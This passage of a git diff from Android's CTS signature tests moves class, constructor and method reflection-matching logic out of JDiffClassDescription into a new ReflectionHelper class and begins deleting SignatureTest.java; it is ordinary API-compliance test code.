- // non-static inner class -> skip implicit parent pointer
- // as first arg
- if (mClass.isMemberClass() && !isStaticClass && params.length >= 1) {
- startParamOffset = 1;
- --numberOfParams;
- }
-
- ArrayList<String> jdiffParamList = jdiffDes.mParamList;
- if (jdiffParamList.size() == numberOfParams) {
- boolean isFound = true;
- // i counts jdiff params, j counts reflected params
- int i = 0;
- int j = startParamOffset;
- while (i < jdiffParamList.size()) {
- if (!compareParam(jdiffParamList.get(i), params[j])) {
- isFound = false;
- break;
- }
- ++i;
- ++j;
- }
- if (isFound) {
- return c;
- }
- }
- }
- return null;
- }
-
- /**
- * Checks all fields in test class for compliance with the API
- * xml.
- */
- @SuppressWarnings("unchecked")
- private void checkFieldsCompliance() {
- for (JDiffField field : jDiffFields) {
- try {
- Field f = findMatchingField(field);
- if (f == null) {
- mResultObserver.notifyFailure(FailureType.MISSING_FIELD,
- field.toReadableString(mAbsoluteClassName),
- "No field with correct signature found:" +
- field.toSignatureString());
- } else if (f.getModifiers() != field.mModifier) {
- mResultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
- field.toReadableString(mAbsoluteClassName),
- "Non-compatible field modifiers found when looking for " +
- field.toSignatureString());
- } else if (!checkFieldValueCompliance(field, f)) {
- mResultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
- field.toReadableString(mAbsoluteClassName),
- "Incorrect field value found when looking for " +
- field.toSignatureString());
- }else if (!f.getType().getCanonicalName().equals(field.mFieldType)) {
- // type name does not match, but this might be a generic
- String genericTypeName = null;
- Type type = f.getGenericType();
- if (type != null) {
- genericTypeName = type instanceof Class ? ((Class) type).getName() :
- type.toString().replace('$', '.');
- }
- if (genericTypeName == null || !genericTypeName.equals(field.mFieldType)) {
- mResultObserver.notifyFailure(
- FailureType.MISMATCH_FIELD,
- field.toReadableString(mAbsoluteClassName),
- "Non-compatible field type found when looking for " +
- field.toSignatureString());
- }
- }
-
- } catch (Exception e) {
- loge("Got exception when checking field compliance", e);
- mResultObserver.notifyFailure(
- FailureType.CAUGHT_EXCEPTION,
- field.toReadableString(mAbsoluteClassName),
- "Exception!");
- }
- }
- }
-
- /**
- * Checks whether the field values are compatible.
- *
- * @param apiField The field as defined by the platform API.
- * @param deviceField The field as defined by the device under test.
- */
- private boolean checkFieldValueCompliance(JDiffField apiField, Field deviceField)
- throws IllegalAccessException {
- if ((apiField.mModifier & Modifier.FINAL) == 0 ||
- (apiField.mModifier & Modifier.STATIC) == 0) {
- // Only final static fields can have fixed values.
- return true;
- }
- if (apiField.getValueString() == null) {
- // If we don't define a constant value for it, then it can be anything.
- return true;
- }
- // Some fields may be protected or package-private
- deviceField.setAccessible(true);
- switch(apiField.mFieldType) {
- case "byte":
- return Objects.equals(apiField.getValueString(),
- Byte.toString(deviceField.getByte(null)));
- case "char":
- return Objects.equals(apiField.getValueString(),
- Integer.toString(deviceField.getChar(null)));
- case "short":
- return Objects.equals(apiField.getValueString(),
- Short.toString(deviceField.getShort(null)));
- case "int":
- return Objects.equals(apiField.getValueString(),
- Integer.toString(deviceField.getInt(null)));
- case "long":
- return Objects.equals(apiField.getValueString(),
- Long.toString(deviceField.getLong(null)) + "L");
- case "float":
- return Objects.equals(apiField.getValueString(),
- canonicalizeFloatingPoint(
- Float.toString(deviceField.getFloat(null)), "f"));
- case "double":
- return Objects.equals(apiField.getValueString(),
- canonicalizeFloatingPoint(
- Double.toString(deviceField.getDouble(null)), ""));
- case "boolean":
- return Objects.equals(apiField.getValueString(),
- Boolean.toString(deviceField.getBoolean(null)));
- case "java.lang.String":
- String value = apiField.getValueString();
- // Remove the quotes the value string is wrapped in
- value = unescapeFieldStringValue(value.substring(1, value.length() - 1));
- return Objects.equals(value, deviceField.get(null));
- default:
- return true;
- }
- }
-
- /**
- * Canonicalize the string representation of floating point numbers.
- *
- * This needs to be kept in sync with the doclava canonicalization.
- */
- private static final String canonicalizeFloatingPoint(String val, String suffix) {
- if (val.equals("Infinity")) {
- return "(1.0" + suffix + "/0.0" + suffix + ")";
- } else if (val.equals("-Infinity")) {
- return "(-1.0" + suffix + "/0.0" + suffix + ")";
- } else if (val.equals("NaN")) {
- return "(0.0" + suffix + "/0.0" + suffix + ")";
- }
-
- String str = val.toString();
- if (str.indexOf('E') != -1) {
- return str + suffix;
- }
-
- // 1.0 is the only case where a trailing "0" is allowed.
- // 1.00 is canonicalized as 1.0.
- int i = str.length() - 1;
- int d = str.indexOf('.');
- while (i >= d + 2 && str.charAt(i) == '0') {
- str = str.substring(0, i--);
- }
- return str + suffix;
- }
-
-
- // This unescapes the string format used by doclava and so needs to be kept in sync with any
- // changes made to that format.
- private static String unescapeFieldStringValue(String str) {
- final int N = str.length();
-
- // If there's no special encoding strings in the string then just return it.
- if (str.indexOf('\\') == -1) {
- return str;
- }
-
- final StringBuilder buf = new StringBuilder(str.length());
- char escaped = 0;
- final int START = 0;
- final int CHAR1 = 1;
- final int CHAR2 = 2;
- final int CHAR3 = 3;
- final int CHAR4 = 4;
- final int ESCAPE = 5;
- int state = START;
-
- for (int i=0; i<N; i++) {
- final char c = str.charAt(i);
- switch (state) {
- case START:
- if (c == '\\') {
- state = ESCAPE;
- } else {
- buf.append(c);
- }
- break;
- case ESCAPE:
- switch (c) {
- case '\\':
- buf.append('\\');
- state = START;
- break;
- case 't':
- buf.append('\t');
- state = START;
- break;
- case 'b':
- buf.append('\b');
- state = START;
- break;
- case 'r':
- buf.append('\r');
- state = START;
- break;
- case 'n':
- buf.append('\n');
- state = START;
- break;
- case 'f':
- buf.append('\f');
- state = START;
- break;
- case '\'':
- buf.append('\'');
- state = START;
- break;
- case '\"':
- buf.append('\"');
- state = START;
- break;
- case 'u':
- state = CHAR1;
- escaped = 0;
- break;
- }
- break;
- case CHAR1:
- case CHAR2:
- case CHAR3:
- case CHAR4:
- escaped <<= 4;
- if (c >= '0' && c <= '9') {
- escaped |= c - '0';
- } else if (c >= 'a' && c <= 'f') {
- escaped |= 10 + (c - 'a');
- } else if (c >= 'A' && c <= 'F') {
- escaped |= 10 + (c - 'A');
- } else {
- throw new RuntimeException(
- "bad escape sequence: '" + c + "' at pos " + i + " in: \""
- + str + "\"");
- }
- if (state == CHAR4) {
- buf.append(escaped);
- state = START;
- } else {
- state++;
- }
- break;
- }
- }
- if (state != START) {
- throw new RuntimeException("unfinished escape sequence: " + str);
- }
- return buf.toString();
- }
-
-
- /**
- * Finds the reflected field specified by the field description.
- *
- * @param field the field description to find
- * @return the reflected field, or null if not found.
- */
- private Field findMatchingField(JDiffField field) {
- return mClassFieldMap.get(field.mName);
- }
-
- /**
* Gets the list of fields found within this class.
*
* @return the list of fields.
@@ -1020,217 +404,12 @@
}
/**
- * Checks if the class under test has compliant modifiers compared to the API.
- *
- * @return true if modifiers are compliant.
- */
- private boolean checkClassModifiersCompliance() {
- int reflectionModifier = mClass.getModifiers();
- int apiModifier = mModifier;
-
- // If the api class isn't abstract
- if (((apiModifier & Modifier.ABSTRACT) == 0) &&
- // but the reflected class is
- ((reflectionModifier & Modifier.ABSTRACT) != 0) &&
- // and it isn't an enum
- !isEnumType()) {
- // that is a problem
- return false;
- }
- // ABSTRACT check passed, so mask off ABSTRACT
- reflectionModifier &= ~Modifier.ABSTRACT;
- apiModifier &= ~Modifier.ABSTRACT;
-
- if (isAnnotation()) {
- reflectionModifier &= ~CLASS_MODIFIER_ANNOTATION;
- }
- if (mClass.isInterface()) {
- reflectionModifier &= ~(Modifier.INTERFACE);
- }
- if (isEnumType() && mClass.isEnum()) {
- reflectionModifier &= ~CLASS_MODIFIER_ENUM;
- }
-
- return ((reflectionModifier == apiModifier) &&
- (isEnumType() == mClass.isEnum()));
- }
-
- /**
- * Checks if the class under test is compliant with regards to
- * annnotations when compared to the API.
- *
- * @return true if the class is compliant
- */
- private boolean checkClassAnnotationCompliace() {
- if (mClass.isAnnotation()) {
- // check annotation
- for (String inter : implInterfaces) {
- if ("java.lang.annotation.Annotation".equals(inter)) {
- return true;
- }
- }
- return false;
- }
- return true;
- }
-
- /**
- * Checks if the class under test extends the proper classes
- * according to the API.
- *
- * @return true if the class is compliant.
- */
- private boolean checkClassExtendsCompliance() {
- // Nothing to check if it doesn't extend anything.
- if (mExtendedClass != null) {
- Class<?> superClass = mClass.getSuperclass();
-
- while (superClass != null) {
- if (superClass.getCanonicalName().equals(mExtendedClass)) {
- return true;
- }
- superClass = superClass.getSuperclass();
- }
- // Couldn't find a matching superclass.
- return false;
- }
- return true;
- }
-
- /**
- * Checks if the class under test implements the proper interfaces
- * according to the API.
- *
- * @return true if the class is compliant
- */
- private boolean checkClassImplementsCompliance() {
- Class<?>[] interfaces = mClass.getInterfaces();
- Set<String> interFaceSet = new HashSet<String>();
-
- for (Class<?> c : interfaces) {
- interFaceSet.add(c.getCanonicalName());
- }
-
- for (String inter : implInterfaces) {
- if (!interFaceSet.contains(inter)) {
- return false;
- }
- }
- return true;
- }
-
- /**
- * Validate that an interfaces method count is as expected.
- */
- private List<String> checkInterfaceMethodCompliance() {
- List<String> unexpectedMethods = new ArrayList<>();
- for (Method method : mClass.getDeclaredMethods()) {
- if (method.isDefault()) {
- continue;
- }
- if (method.isSynthetic()) {
- continue;
- }
- if (method.isBridge()) {
- continue;
- }
- if (HIDDEN_INTERFACE_WHITELIST.contains(method.toGenericString())) {
- continue;
- }
-
- boolean foundMatch = false;
- for (JDiffMethod jdiffMethod : jDiffMethods) {
- if (matches(jdiffMethod, method)) {
- foundMatch = true;
- }
- }
- if (!foundMatch) {
- unexpectedMethods.add(method.toGenericString());
- }
- }
-
- return unexpectedMethods;
-
- }
-
- /**
- * Checks that the class found through reflection matches the
- * specification from the API xml file.
- */
- @SuppressWarnings("unchecked")
- private void checkClassCompliance() {
- try {
- mAbsoluteClassName = mPackageName + "." + mShortClassName;
- mClass = findMatchingClass();
-
- if (mClass == null) {
- // No class found, notify the observer according to the class type
- if (JDiffType.INTERFACE.equals(mClassType)) {
- mResultObserver.notifyFailure(FailureType.MISSING_INTERFACE,
- mAbsoluteClassName,
- "Classloader is unable to find " + mAbsoluteClassName);
- } else {
- mResultObserver.notifyFailure(FailureType.MISSING_CLASS,
- mAbsoluteClassName,
- "Classloader is unable to find " + mAbsoluteClassName);
- }
-
- return;
- }
-
- List<String> methods = checkInterfaceMethodCompliance();
- if (JDiffType.INTERFACE.equals(mClassType) && methods.size() > 0) {
- mResultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
- mAbsoluteClassName, "Interfaces cannot be modified: "
- + mAbsoluteClassName + ": " + methods);
- return;
- }
-
- if (!checkClassModifiersCompliance()) {
- logMismatchInterfaceSignature(mAbsoluteClassName,
- "Non-compatible class found when looking for " +
- toSignatureString());
- return;
- }
-
- if (!checkClassAnnotationCompliace()) {
- logMismatchInterfaceSignature(mAbsoluteClassName,
- "Annotation mismatch");
- return;
- }
-
- if (!mClass.isAnnotation()) {
- // check father class
- if (!checkClassExtendsCompliance()) {
- logMismatchInterfaceSignature(mAbsoluteClassName,
- "Extends mismatch");
- return;
- }
-
- // check implements interface
- if (!checkClassImplementsCompliance()) {
- logMismatchInterfaceSignature(mAbsoluteClassName,
- "Implements mismatch");
- return;
- }
- }
- } catch (Exception e) {
- loge("Got exception when checking field compliance", e);
- mResultObserver.notifyFailure(
- FailureType.CAUGHT_EXCEPTION,
- mAbsoluteClassName,
- "Exception!");
- }
- }
-
-
- /**
* Convert the class into a printable signature string.
*
* @return the signature string
*/
public String toSignatureString() {
- StringBuffer sb = new StringBuffer();
+ StringBuilder sb = new StringBuilder();
String accessLevel = convertModifiersToAccessLevel(mModifier);
if (!"".equals(accessLevel)) {
@@ -1268,92 +447,22 @@
return sb.toString();
}
- private void logMismatchInterfaceSignature(String classFullName, String errorMessage) {
- if (JDiffType.INTERFACE.equals(mClassType)) {
- mResultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE,
- classFullName,
- errorMessage);
- } else {
- mResultObserver.notifyFailure(FailureType.MISMATCH_CLASS,
- classFullName,
- errorMessage);
- }
- }
-
/**
* Sees if the class under test is actually an enum.
*
* @return true if this class is enum
*/
- private boolean isEnumType() {
+ boolean isEnumType() {
return "java.lang.Enum".equals(mExtendedClass);
}
/**
- * Finds the reflected class for the class under test.
- *
- * @return the reflected class, or null if not found.
- */
- @SuppressWarnings("unchecked")
- private Class<?> findMatchingClass() {
- // even if there are no . in the string, split will return an
- // array of length 1
- String[] classNameParts = mShortClassName.split("\\.");
- String currentName = mPackageName + "." + classNameParts[0];
-
- try {
- // Check to see if the class we're looking for is the top
- // level class.
- Class<?> clz = Class.forName(currentName,
- false,
- this.getClass().getClassLoader());
- if (clz.getCanonicalName().equals(mAbsoluteClassName)) {
- return clz;
- }
-
- // Then it must be an inner class.
- for (int x = 1; x < classNameParts.length; x++) {
- clz = findInnerClassByName(clz, classNameParts[x]);
- if (clz == null) {
- return null;
- }
- if (clz.getCanonicalName().equals(mAbsoluteClassName)) {
- return clz;
- }
- }
- } catch (ClassNotFoundException e) {
- loge("ClassNotFoundException for " + mPackageName + "." + mShortClassName, e);
- return null;
- }
- return null;
- }
-
- /**
- * Searches the class for the specified inner class.
- *
- * @param clz the class to search in.
- * @param simpleName the simpleName of the class to find
- * @returns the class being searched for, or null if it can't be found.
- */
- private Class<?> findInnerClassByName(Class<?> clz, String simpleName) {
- for (Class<?> c : clz.getDeclaredClasses()) {
- if (c.getSimpleName().equals(simpleName)) {
- return c;
- }
- }
- return null;
- }
-
- /**
* Sees if the class under test is actually an annotation.
*
* @return true if this class is Annotation.
*/
- private boolean isAnnotation() {
- if (implInterfaces.contains("java.lang.annotation.Annotation")) {
- return true;
- }
- return false;
+ boolean isAnnotation() {
+ return implInterfaces.contains("java.lang.annotation.Annotation");
}
/**
@@ -1361,7 +470,7 @@
*
* @return the class name.
*/
- public String getClassName() {
+ String getClassName() {
return mShortClassName;
}
@@ -1397,99 +506,11 @@
*
* @param extendsClass the class being extended.
*/
- public void setExtendsClass(String extendsClass) {
+ void setExtendsClass(String extendsClass) {
mExtendedClass = extendsClass;
}
/**
- * Registers a ResultObserver to process the output from the
- * compliance testing done in this class.
- *
- * @param resultObserver the observer to register.
- */
- public void registerResultObserver(ResultObserver resultObserver) {
- mResultObserver = resultObserver;
- }
-
- /**
- * Converts WildcardType array into a jdiff compatible string..
- * This is a helper function for typeToString.
- *
- * @param types array of types to format.
- * @return the jdiff formatted string.
- */
- private static String concatWildcardTypes(Type[] types) {
- StringBuffer sb = new StringBuffer();
- int elementNum = 0;
- for (Type t : types) {
- sb.append(typeToString(t));
- if (++elementNum < types.length) {
- sb.append(" & ");
- }
- }
- return sb.toString();
- }
-
- /**
- * Converts a Type into a jdiff compatible String. The returned
- * types from this function should match the same Strings that
- * jdiff is providing to us.
- *
- * @param type the type to convert.
- * @return the jdiff formatted string.
- */
- private static String typeToString(Type type) {
- if (type instanceof ParameterizedType) {
- ParameterizedType pt = (ParameterizedType) type;
-
- StringBuffer sb = new StringBuffer();
- sb.append(typeToString(pt.getRawType()));
- sb.append("<");
-
- int elementNum = 0;
- Type[] types = pt.getActualTypeArguments();
- for (Type t : types) {
- sb.append(typeToString(t));
- if (++elementNum < types.length) {
- sb.append(", ");
- }
- }
-
- sb.append(">");
- return sb.toString();
- } else if (type instanceof TypeVariable) {
- return ((TypeVariable<?>) type).getName();
- } else if (type instanceof Class) {
- return ((Class<?>) type).getCanonicalName();
- } else if (type instanceof GenericArrayType) {
- String typeName = typeToString(((GenericArrayType) type).getGenericComponentType());
- return typeName + "[]";
- } else if (type instanceof WildcardType) {
- WildcardType wt = (WildcardType) type;
- Type[] lowerBounds = wt.getLowerBounds();
- if (lowerBounds.length == 0) {
- String name = "? extends " + concatWildcardTypes(wt.getUpperBounds());
-
- // Special case for ?
- if (name.equals("? extends java.lang.Object")) {
- return "?";
- } else {
- return name;
- }
- } else {
- String name = concatWildcardTypes(wt.getUpperBounds()) +
- " super " +
- concatWildcardTypes(wt.getLowerBounds());
- // Another special case for ?
- name = name.replace("java.lang.Object", "?");
- return name;
- }
- } else {
- throw new RuntimeException("Got an unknown java.lang.Type");
- }
- }
-
- /**
* Cleans up jdiff parameters to canonicalize them.
*
* @param paramType the parameter from jdiff.
@@ -1503,32 +524,8 @@
.replace("? super java.lang.Object", "? super ?");
}
- /**
- * Scan a class (an its entire inheritance chain) for fields.
- *
- * @return a {@link Map} of fieldName to {@link Field}
- */
- private static Map<String, Field> buildFieldMap(Class testClass) {
- Map<String, Field> fieldMap = new HashMap<String, Field>();
- // Scan the superclass
- if (testClass.getSuperclass() != null) {
- fieldMap.putAll(buildFieldMap(testClass.getSuperclass()));
- }
-
- // Scan the interfaces
- for (Class interfaceClass : testClass.getInterfaces()) {
- fieldMap.putAll(buildFieldMap(interfaceClass));
- }
-
- // Check the fields in the test class
- for (Field field : testClass.getDeclaredFields()) {
- fieldMap.put(field.getName(), field);
- }
-
- return fieldMap;
- }
-
- private static void loge(String message, Exception exception) {
- System.err.println(String.format("%s: %s", message, exception));
+ @Override
+ public String toString() {
+ return mAbsoluteClassName;
}
}
diff --git a/tests/signature/src/android/signature/cts/ReflectionHelper.java b/tests/signature/src/android/signature/cts/ReflectionHelper.java
new file mode 100644
index 0000000..54640a3
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/ReflectionHelper.java
@@ -0,0 +1,333 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.lang.reflect.WildcardType;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Uses reflection to obtain runtime representations of elements in the API.
+ */
+public class ReflectionHelper {
+
+ private static void loge(String message, Exception exception) {
+ System.err.println(String.format("%s: %s", message, exception));
+ }
+
+ /**
+ * Finds the reflected class for the class under test.
+ *
+ * @param classDescription the description of the class to find.
+ * @return the reflected class, or null if not found.
+ */
+ @SuppressWarnings("unchecked")
+ public static Class<?> findMatchingClass(JDiffClassDescription classDescription)
+ throws ClassNotFoundException {
+ // even if there are no . in the string, split will return an
+ // array of length 1
+ String shortClassName = classDescription.getShortClassName();
+ String[] classNameParts = shortClassName.split("\\.");
+ String packageName = classDescription.getPackageName();
+ String currentName = packageName + "." + classNameParts[0];
+
+ Class<?> clz = Class.forName(
+ currentName, false, ReflectionHelper.class.getClassLoader());
+ String absoluteClassName = classDescription.getAbsoluteClassName();
+ if (clz.getCanonicalName().equals(absoluteClassName)) {
+ return clz;
+ }
+
+ // Then it must be an inner class.
+ for (int x = 1; x < classNameParts.length; x++) {
+ clz = findInnerClassByName(clz, classNameParts[x]);
+ if (clz == null) {
+ return null;
+ }
+ if (clz.getCanonicalName().equals(absoluteClassName)) {
+ return clz;
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Searches the class for the specified inner class.
+ *
+ * @param clz the class to search in.
+ * @param simpleName the simpleName of the class to find
+ * @return the class being searched for, or null if it can't be found.
+ */
+ private static Class<?> findInnerClassByName(Class<?> clz, String simpleName) {
+ for (Class<?> c : clz.getDeclaredClasses()) {
+ if (c.getSimpleName().equals(simpleName)) {
+ return c;
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Searches available constructor.
+ *
+ * @param runtimeClass the class in which to search.
+ * @param jdiffDes constructor description to find.
+ * @return reflected constructor, or null if not found.
+ */
+ @SuppressWarnings("unchecked")
+ static Constructor<?> findMatchingConstructor(Class<?> runtimeClass,
+ JDiffClassDescription.JDiffConstructor jdiffDes) {
+ for (Constructor<?> c : runtimeClass.getDeclaredConstructors()) {
+ Type[] params = c.getGenericParameterTypes();
+ boolean isStaticClass = ((runtimeClass.getModifiers() & Modifier.STATIC) != 0);
+
+ int startParamOffset = 0;
+ int numberOfParams = params.length;
+
+ // non-static inner class -> skip implicit parent pointer
+ // as first arg
+ if (runtimeClass.isMemberClass() && !isStaticClass && params.length >= 1) {
+ startParamOffset = 1;
+ --numberOfParams;
+ }
+
+ ArrayList<String> jdiffParamList = jdiffDes.mParamList;
+ if (jdiffParamList.size() == numberOfParams) {
+ boolean isFound = true;
+ // i counts jdiff params, j counts reflected params
+ int i = 0;
+ int j = startParamOffset;
+ while (i < jdiffParamList.size()) {
+ if (!compareParam(jdiffParamList.get(i), params[j])) {
+ isFound = false;
+ break;
+ }
+ ++i;
+ ++j;
+ }
+ if (isFound) {
+ return c;
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Compares the parameter from the API and the parameter from
+ * reflection.
+ *
+ * @param jdiffParam param parsed from the API xml file.
+ * @param reflectionParamType param gotten from the Java reflection.
+ * @return True if the two params match, otherwise return false.
+ */
+ private static boolean compareParam(String jdiffParam, Type reflectionParamType) {
+ if (jdiffParam == null) {
+ return false;
+ }
+
+ String reflectionParam = typeToString(reflectionParamType);
+ // Most things aren't varargs, so just do a simple compare
+ // first.
+ if (jdiffParam.equals(reflectionParam)) {
+ return true;
+ }
+
+ // Check for varargs. jdiff reports varargs as ..., while
+ // reflection reports them as []
+ int jdiffParamEndOffset = jdiffParam.indexOf("...");
+ int reflectionParamEndOffset = reflectionParam.indexOf("[]");
+ if (jdiffParamEndOffset != -1 && reflectionParamEndOffset != -1) {
+ jdiffParam = jdiffParam.substring(0, jdiffParamEndOffset);
+ reflectionParam = reflectionParam.substring(0, reflectionParamEndOffset);
+ return jdiffParam.equals(reflectionParam);
+ }
+
+ return false;
+ }
+
+ /**
+ * Finds the reflected method specified by the method description.
+ *
+ * @param runtimeClass the class in which to search.
+ * @param method description of the method to find
+ * @return the reflected method, or null if not found.
+ */
+ @SuppressWarnings("unchecked")
+ static Method findMatchingMethod(Class<?> runtimeClass,
+ JDiffClassDescription.JDiffMethod method) {
+ Method[] methods = runtimeClass.getDeclaredMethods();
+
+ for (Method m : methods) {
+ if (matches(method, m)) {
+ return m;
+ }
+ }
+
+ return null;
+ }
+
+ /**
+ * Checks if the two types of methods are the same.
+ *
+ * @param jDiffMethod the jDiffMethod to compare
+ * @param reflectedMethod the reflected method to compare
+ * @return true, if both methods are the same
+ */
+ static boolean matches(JDiffClassDescription.JDiffMethod jDiffMethod,
+ Method reflectedMethod) {
+ // If the method names aren't equal, the methods can't match.
+ if (!jDiffMethod.mName.equals(reflectedMethod.getName())) {
+ return false;
+ }
+ String jdiffReturnType = jDiffMethod.mReturnType;
+ String reflectionReturnType = typeToString(reflectedMethod.getGenericReturnType());
+ List<String> jdiffParamList = jDiffMethod.mParamList;
+
+ // Next, compare the return types of the two methods. If
+ // they aren't equal, the methods can't match.
+ if (!jdiffReturnType.equals(reflectionReturnType)) {
+ return false;
+ }
+
+ Type[] params = reflectedMethod.getGenericParameterTypes();
+
+ // Next, check the method parameters. If they have different
+ // parameter lengths, the two methods can't match.
+ if (jdiffParamList.size() != params.length) {
+ return false;
+ }
+
+ boolean piecewiseParamsMatch = true;
+
+ // Compare method parameters piecewise and return true if they all match.
+ for (int i = 0; i < jdiffParamList.size(); i++) {
+ piecewiseParamsMatch &= compareParam(jdiffParamList.get(i), params[i]);
+ }
+ if (piecewiseParamsMatch) {
+ return true;
+ }
+
+ /* NOTE: There are cases where piecewise method parameter checking
+ * fails even though the strings are equal, so compare entire strings
+ * against each other. This is not done by default to avoid a
+ * TransactionTooLargeException.
+ * Additionally, this can fail anyway due to extra
+ * information dug up by reflection.
+ *
+ * TODO: fix parameter equality checking and reflection matching
+ * See https://b.corp.google.com/issues/27726349
+ */
+
+ StringBuilder reflectedMethodParams = new StringBuilder("");
+ StringBuilder jdiffMethodParams = new StringBuilder("");
+
+ for (int i = 0; i < jdiffParamList.size(); i++) {
+ jdiffMethodParams.append(jdiffParamList.get(i));
+ reflectedMethodParams.append(params[i]);
+ }
+
+ String jDiffFName = jdiffMethodParams.toString();
+ String refName = reflectedMethodParams.toString();
+
+ return jDiffFName.equals(refName);
+ }
+
+ /**
+ * Converts WildcardType array into a jdiff compatible string..
+ * This is a helper function for typeToString.
+ *
+ * @param types array of types to format.
+ * @return the jdiff formatted string.
+ */
+ private static String concatWildcardTypes(Type[] types) {
+ StringBuilder sb = new StringBuilder();
+ int elementNum = 0;
+ for (Type t : types) {
+ sb.append(typeToString(t));
+ if (++elementNum < types.length) {
+ sb.append(" & ");
+ }
+ }
+ return sb.toString();
+ }
+
+ /**
+ * Converts a Type into a jdiff compatible String. The returned
+ * types from this function should match the same Strings that
+ * jdiff is providing to us.
+ *
+ * @param type the type to convert.
+ * @return the jdiff formatted string.
+ */
+ private static String typeToString(Type type) {
+ if (type instanceof ParameterizedType) {
+ ParameterizedType pt = (ParameterizedType) type;
+
+ StringBuilder sb = new StringBuilder();
+ sb.append(typeToString(pt.getRawType()));
+ sb.append("<");
+
+ int elementNum = 0;
+ Type[] types = pt.getActualTypeArguments();
+ for (Type t : types) {
+ sb.append(typeToString(t));
+ if (++elementNum < types.length) {
+ sb.append(", ");
+ }
+ }
+
+ sb.append(">");
+ return sb.toString();
+ } else if (type instanceof TypeVariable) {
+ return ((TypeVariable<?>) type).getName();
+ } else if (type instanceof Class) {
+ return ((Class<?>) type).getCanonicalName();
+ } else if (type instanceof GenericArrayType) {
+ String typeName = typeToString(((GenericArrayType) type).getGenericComponentType());
+ return typeName + "[]";
+ } else if (type instanceof WildcardType) {
+ WildcardType wt = (WildcardType) type;
+ Type[] lowerBounds = wt.getLowerBounds();
+ if (lowerBounds.length == 0) {
+ String name = "? extends " + concatWildcardTypes(wt.getUpperBounds());
+
+ // Special case for ?
+ if (name.equals("? extends java.lang.Object")) {
+ return "?";
+ } else {
+ return name;
+ }
+ } else {
+ String name = concatWildcardTypes(wt.getUpperBounds()) +
+ " super " +
+ concatWildcardTypes(wt.getLowerBounds());
+ // Another special case for ?
+ name = name.replace("java.lang.Object", "?");
+ return name;
+ }
+ } else {
+ throw new RuntimeException("Got an unknown java.lang.Type");
+ }
+ }
+}
diff --git a/tests/signature/src/android/signature/cts/SignatureTest.java b/tests/signature/src/android/signature/cts/SignatureTest.java
deleted file mode 100644
index af82a46..0000000
--- a/tests/signature/src/android/signature/cts/SignatureTest.java
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.signature.cts;
-
-import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.TAG_ROOT;
-import static android.signature.cts.CurrentApi.TAG_PACKAGE;
-import static android.signature.cts.CurrentApi.TAG_CLASS;
-import static android.signature.cts.CurrentApi.TAG_INTERFACE;
-import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
-import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
-import static android.signature.cts.CurrentApi.TAG_METHOD;
-import static android.signature.cts.CurrentApi.TAG_PARAM;
-import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
-import static android.signature.cts.CurrentApi.TAG_FIELD;
-
-import static android.signature.cts.CurrentApi.MODIFIER_ABSTRACT;
-import static android.signature.cts.CurrentApi.MODIFIER_FINAL;
-import static android.signature.cts.CurrentApi.MODIFIER_NATIVE;
-import static android.signature.cts.CurrentApi.MODIFIER_PRIVATE;
-import static android.signature.cts.CurrentApi.MODIFIER_PROTECTED;
-import static android.signature.cts.CurrentApi.MODIFIER_PUBLIC;
-import static android.signature.cts.CurrentApi.MODIFIER_STATIC;
-import static android.signature.cts.CurrentApi.MODIFIER_SYNCHRONIZED;
-import static android.signature.cts.CurrentApi.MODIFIER_TRANSIENT;
-import static android.signature.cts.CurrentApi.MODIFIER_VOLATILE;
-import static android.signature.cts.CurrentApi.MODIFIER_VISIBILITY;
-
-import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_EXTENDS;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_RETURN;
-
-import android.content.res.Resources;
-import android.signature.cts.JDiffClassDescription.JDiffConstructor;
-import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.signature.cts.JDiffClassDescription.JDiffMethod;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.lang.reflect.Modifier;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Scanner;
-
-/**
- * Performs the signature check via a JUnit test.
- */
-public class SignatureTest extends AndroidTestCase {
-
- private static final String TAG = SignatureTest.class.getSimpleName();
